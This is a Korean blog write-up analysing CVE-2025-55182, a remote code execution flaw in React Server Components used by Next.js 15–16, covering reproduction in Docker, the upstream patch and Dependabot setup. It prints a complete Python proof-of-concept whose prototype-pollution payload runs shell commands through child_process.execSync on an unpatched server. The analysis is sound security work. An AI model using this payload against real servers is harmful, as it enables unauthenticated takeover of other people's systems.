React CVE-2025-55182 취약점 원인 분석
Next.js 15~16의 React Server Component에서 발견된 RCE(Severity 10) 취약점을 직접 재현하고, 패치된 코드의 차이까지 추적한 기록.
RCE Severity 10 — GHSA-9qr9-h5gf-34mp
React 19와 Next.js 15~16 버전대에서 React Server Component의 보안 취약점이 이슈가 됐습니다. 인증 절차 없이 원격 코드 실행(RCE)이 가능한 문제로, 이번 글에서는 직접 재현해 보고 원인을 따라가 봅니다.
1. 문제

공격자(Attacker)가 HTTP 요청 한 번으로 React Server Component가 떠 있는 서버에 페이로드를 보내면, 서버는 인증 없이 그 코드를 실행합니다. 공격자는 실행 결과를 응답으로 받습니다.
2. 실습
Next.js 프로젝트 생성
16.0.7에서 패치됐기 때문에, 그 이전 버전으로 재현해야 합니다.
pnpm create next-app@16.0.6 . --yes생성한 프로젝트를 Docker로 띄웁니다.
# Node.js 공식 이미지 사용
FROM node:20-alpine
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN npm install -g pnpm && pnpm install
COPY . .
RUN pnpm build
EXPOSE 3000
CMD ["pnpm", "start"]docker build -t react-vulnerability .
docker run -p 3000:3000 react-vulnerability악용 공격 파일 분석
아래 내용을 이해하려면 prototype 개념과 Flight Protocol(React Server Components Protocol)에 대한 배경 지식이 도움이 됩니다.
GitHub의 CVE-2025-55182 관련 자료에서 가장 단순한 파이썬 PoC를 가져왔습니다.
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": (
f"var res = process.mainModule.require('child_process')"
f".execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); "
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
),
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)페이로드 구성 요소
프로토타입 오염
"then": "$1:__proto__:then"JavaScript의 __proto__ 속성을 조작해 프로토타입 체인을 오염시킵니다.
코드 실행
"_prefix": "var res = process.mainModule.require('child_process').execSync(...)"Node.js의 child_process.execSync()로 시스템 명령을 실행하고, 결과를 에러 객체의 digest 속성에 실어 응답으로 돌려보냅니다.
생성자 체인 조작
"get": "$1:constructor:constructor"생성자 함수에 접근해 코드 실행 환경을 조작합니다.
HTTP 요청 구성
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}multipart/form-data로 페이로드 전송Next-Action헤더 — Next.js Server Actions 처리 진입점- 두 개의 파일 필드로 페이로드 분할
취약점 요약
이 PoC는 다음 세 가지를 한 번에 악용합니다.
- Server-Side Prototype Pollution — 서버측 객체 프로토타입 오염
- Code Injection — 임의 JavaScript 실행
- Command Injection — 시스템 명령 실행
공격 흐름은 단순합니다.
- 공격자가 조작된 JSON 페이로드를 서버에 전송
- 서버가 데이터를 처리하면서 프로토타입 오염 발생
- 오염된 프로토타입을 통해 임의 JS 실행
child_process.execSync()로 OS 명령 실행- 결과가 에러 메시지를 통해 공격자에게 반환
실행: id 명령
PoC를 실행해 컨테이너의 id 값을 조회해 봅니다.
python exploit.py
Docker 컨테이너의 실제 id 값과 비교하면 일치합니다.

응답으로 서버측 명령 실행 결과를 그대로 받을 수 있다는 게 확인됐습니다.
실행: 임의 파일 생성
공격자가 단순 정보 조회를 넘어, 서버에 파일을 만들 수도 있습니다.
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "echo hi > /tmp/hello.txt"기본 명령을 id → echo hi > /tmp/hello.txt로 바꿔 실행했습니다.

조회뿐 아니라 임의의 파일을 만들 수 있다는 건, 결국 악성 파일을 설치하고 실행할 수 있다는 의미입니다. 즉시 패치가 필요한 수준의 문제였습니다.
패치 버전에서 동작 확인
pnpm update next react react-dom --latest패치된 버전에서 동일한 PoC를 다시 실행하면 다음과 같이 막힙니다.

3. React는 어떤 코드를 수정했나
패치 커밋: facebook/react@7dc903c

악성 페이로드는 객체의 __proto__ 속성을 통해 외부에서 값을 인위적으로 주입합니다. 패치는 객체 자신이 직접 가진 속성인지 검사하는 hasOwnProperty 가드를 추가해, 프로토타입 체인을 타고 들어오는 외부 입력을 막는 방식입니다.
4. 빠른 대응 방법
라이브러리 보안 이슈는 npm audit으로도 확인 가능하지만, 매번 수동으로 점검하는 건 비효율적입니다. GitHub Dependabot을 켜 두면 다음을 자동으로 처리해 줍니다.
- 취약점 자동 모니터링
- 보안 패치 포함 업데이트 자동 감지
- Pull Request 자동 생성으로 의존성 업데이트 제안
- 라이브러리를 최신 안전 상태로 유지
설정 경로: Github → Settings → Advanced Security 에서 Dependabot을 Enable로 전환합니다.

활성화 후엔 Security 탭에서 발견된 보안 이슈를 한눈에 확인할 수 있습니다.

Dependabot은 발견된 이슈를 자동으로 PR로 올려 주기 때문에, 검토 후 머지만 하면 됩니다.

이번 케이스처럼 RCE급 이슈는 하루라도 빨리 패치 PR을 열어 두는 것이 핵심 방어선입니다. 라이브러리 보안에 사람의 주의력을 의존하지 말고, 봇이 매일 점검하도록 둡시다.